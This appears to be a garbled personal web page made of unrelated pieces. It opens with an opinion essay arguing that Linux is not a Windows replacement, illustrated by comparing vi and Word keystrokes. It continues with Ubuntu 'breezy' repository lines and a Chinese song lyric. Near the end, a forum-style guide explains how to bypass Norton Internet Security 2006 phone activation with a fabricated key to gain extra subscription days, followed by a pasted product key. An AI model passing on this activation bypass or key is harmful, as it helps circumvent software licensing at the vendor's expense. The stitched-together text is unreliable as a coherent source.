To suddenly throw that all away and focus instead of making Linux all about replacing Windows would be to kill the very thing that has made Linux what it is. There are corporations out there that have seen Linux's growth, and want to cash in on it. They're frustrated by the GPL, which makes it very hard for them to sell Linux at Microsoft prices. "Linux will die if it stays open," they say, "as nobody can make money off it like that."
They don't realize that making Linux proprietary would be killing the goose that lays the golden eggs. Linux became big because it was FOSS, and nobody was trying to make it a Windows substitute. Linux is thriving because it's fighting Windows on a front that Microsoft can never defeat it on: Open-ness and quality.
To most Windows users, Linux is an inferior Windows copy. It has less apparent functionality, less integration, and lots more complexity. To that type of user, Linux is seen as a bad OS. And correctly so: It doesn't meet their needs. Their needs are an OS that's very simple to use and does everything without them needing to learn anything.
Windows is created for non-tech users. The widespread perception amongst those users is that Linux is hard to use. This is not the case, but it's an understandable misconception.
Linux is actually blissfully easy to use. Genuinely. It is really easy to use. The reason it isn't perceived this way? Because the term "ease of use" has been so badly distorted. In common usage, "easy to use" now means "easy to do something without knowing beforehand how to do it". But that's not really "easy to use", is it? That's "easy to figure out". It's like the difference between:
- a safe with a notice above it saying "You unlock this safe by turning the dial to 32 then 64 then 18 then 9, then turn the key and lift the handle up"
- a car that can be unlocked by pressing the remote control "unlock" button.
It's far easier to unlock the car, right? One button from anywhere near the car, opposed to numerous highly-specific dial-turns. However, it's easier for somebody who doesn't know how to unlock either to get the safe open than the car: the safe has clear instructions in place, while the car just has buttons that aren't even attached to the car.
Linux is the same. It's easy to use if you know how to use it. It's easy to use, but it's not always easy to learn. Only if you are willing to invest the time in learning Linux will you find it easy. Inescapably, the more you break a task down into simple steps, the more steps you have to take to accomplish that task.
As a really simple example, take this arbitrary exercise: You want to move five lines (paragraphs) from the middle of a text document to the end.
In MS Word; MS WordPad; or MS Notepad; all "user-friendly" Windows text editors, the quickest way to do this is:
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-Shift-Down
- Ctrl-X
- Ctrl-End
- Ctrl-V
(That's assuming you use the keyboard. Otherwise, you need some Click-and-Drag mouse operations and a reliable autoscroll.)
In vi, however, it is:
- d5d
- Shift-g
- p
Vi, which is about as "user-unfriendly" as it gets, beats Microsoft's offerings hands down. Why? Because vi was designed for functionality, while Microsoft design to be "user-friendly". Microsoft break everything down into easy steps, and so it takes far more steps to accomplish the same task.
This makes vi far quicker and easier to use for virtually all text-editing tasks. Just so long as you know how to use it. If you don't know "d5d" means "Place five lines of text in the buffer, and delete them from the document" then you're going to struggle to make vi work. But if you DO know, then you're going to fly along.
So when some newbie sees how fast and easily an experienced vi user can do stuff, he readily agrees that vi is superior to Word for text editing. Then he tries to use it himself. He starts it up, gets a screen full of ~s, and when he types, nothing appears on the screen.
He finds out about the text-entry and command modes, and starts trying to use vi with a limited knowledge of it's functions. He struggles, as there are so many things he has to learn before he can make vi work. Then he complains "vi would be much better if it was as easy to use as Word!"
But the real problem is "I don't know how to use vi and can't be bothered to learn." But that would mean the problem was with him, so he blames his problems on the software instead. Never mind all the thousands of people who are happily using vi without any problems: It's too hard to use, and must be changed!
And believe me, if he can make a text editor that is as "user-friendly" as Word and as functional as vi, he'll be met with nothing but applause. In fact, he'll probably be awarded the Nobel Prize For Extreme Cleverness, as nobody else has been able to do it yet. But just whining about vi being hard to use will be met with derision, because there's no problem with vi, the problem is with him.

It's like buying da Vinci's painbrush and then complaining that you still can't paint. The brush wasn't what made the Mona Lisa, it was the skill of the artist. The brush is a tool that relies on the user's skill. There's no way to get that skill other than practice.
Same with vi. Same with many pieces of Linux software that new users complain is "too hard" or "not intuitive enough", whether they're talking about a text editor, a package manager, or the command line itself.
Before you start insisting that something about Linux needs fixing, there's one important question to ask: "Do experienced users have a problem with this?"
If the answer is "No", then the problem is on your end. If other people can use it successfully, why can't you? Have you taken the time to learn how to use it? Or did you just expect it to work for you right from the word 'Go'?
"User-friendly" and "raw functionality" are exclusive. All the little buttons and drop-down menus that are vital to make a piece of software simple to use are just obstacles that get in the way of the experienced user. It's the difference between navigating from A to B with a map & compass, and going from A to B by following the road signs: Anybody can get there by following the signs, but they'll take twice as long as somebody who knows how to go straight there.

If I want to paste the value of a formula in Excel, I have to do it via the Edit->Paste Special->Paste Values menus. I don't want to navigate through all these pain-in-the-rear 'friendly' menus, sub-menus and dialogue boxes. I just want to do it. And, to be fair, if I reprogram the shortcut keys and record some macros, I can make Excel and Word do most things at the push of a button.
But that's not really user-friendly, is it? That's still requiring the user to invest a lot of time in the software. Linux requires you to put the time in to learn how to use the existing functionality. "User-friendly" software makes you put the time in to creating the functionality.
If that's the way you prefer it, that's fine, go ahead and do it that way. But don't ever lose sight of the fact that the fault lies with your ignorance and not with the software itself. All Linux software is supremely easy to use, once you know how to use it. If you don't know, it won't be easy, and it won't be because the software is at fault.
Now, you might be starting to feel that Linux has an attitude problem. It doesn't want users, it doesn't want to make life easy for its users. . . it's just for snobbish l33t h4xx0r5!
Nothing could be farther from the truth. Of course Linux wants users! And of course it doesn't want to make things hard. Quite the opposite: Hard to use software is, by definition, bad software.
But you have to realize, its definitions may be different to yours, and different to the 'traditional' proprietary software culture.
Linux wants users who want Linux. And that doesn't mean just the name. It means everything: The free, open-source software; the ability to tinker with your software; the position of being in the driver's seat, in total control.
That's what Linux is. That's what it's all about. People migrate to Linux because they're sick of viruses, sick of BSODs, sick of spyware. That's understandable. But those people don't want Linux. They really just want Windows without the flaws. They don't really want Linux. So why should Linux want them?
But if they give Linux a try because of viruses and spyware, and then decide that they love the idea of an OS that they control. . . That's when they want Linux for its own sake. And that's when Linux wants them.
Before you decide you want to switch to Linux, ask yourself "Why do I want to switch?"
If the answer is "I want an OS that puts all the power in the hands of the user and expects him to know how to use it": Get Linux. You'll have to invest a substantial amount of time and effort before you get it to where you want it, but you'll eventually be rewarded with a computer that works exactly the way you want it to.
BUT. . .
If the answer is "I want Windows without the problems": Do a clean install of Windows XP SP2; set up a good firewall; install a good anti-virus; never use IE for browsing the web; update regularly; reboot after each software install; and read about good security practices. I myself have used Windows from 3.1 through 95, 98, NT, and XP, and I have never once had a virus, suffered from spyware, or been cracked. Windows can be a safe and stable OS, but it relies on you keeping it that way.
If the answer is "I want a replacement for Windows without the problems": Buy an Apple Mac. I've heard wonderful things about the Tiger release of OS X, and they've got some lovely-looking hardware. It'll cost you a new computer, but it'll get you what you want.
In either case, don't switch to Linux. You'll be dissapointed with both the software and the community. Linux is not Windows.
#deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-security main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/archive.ubuntu.com/ breezy-updates main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/ubuntu.org.cn/ubuntu/ breezy-security main restricted universe multiverse
#deb ftp://ftp.sjtu.edu.cn/sites/ubuntu.org.cn/ubuntu/ breezy-updates main restricted universe multiverse
deb-src http://us.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://us.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://us.archive.ubuntu.com/ubuntu breezy universe
# deb-src http://cn.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
生当尽欢死无憾
恩仇交错英雄气概
浪迹天涯
难解心中怨饮不尽杯中酒
杀不尽仇人头
红颜知己
倚窗为谁愁

Norton Internet Security 2006 Phone Activation Methodthis works with any language versions i guess as this works well for the traditional chinese version as ppl said in the forums and i've tried using this method successfully by using an english version either.IN ORDER TO COMPLETE THE ACTIVATION PROCESS, YOU MUST HAVE A RETAIL VERSION WHICH ALLOWS YOU TO SELECT PHONE ACTIVATION AFTER CONNECTION FAILED.Step 1: install the prog. with any valid serial, you may also use this Chicken Link
Step 2: disable the network settings and jump into the page for phone activation.
Step 3: Type '0' for all of the spaces provided for the activation key except the last three ones which have to change into 365. (e.g.: 000000,00000,00000,00000,000365)
when you do the activation put 999 when you put 365 and you get subscription for 2457 days. wow this is great. tested and worksYou can now enjoy an activated version with 869 days' subscription. It's really a mystery for the activation key but it really works. It's working on LiveUpdate and no popup windows appears on the screen.
DO NOT LOOSE THIS PRODUCT KEYYou must use it when you install this software.
This product will stop working in 15 days if it is not
activated with the key below.Product Key: JGG84-8YM4W-KPPCR-QXRJJ-XBFFK
perlmagicklibxml-atom-perl


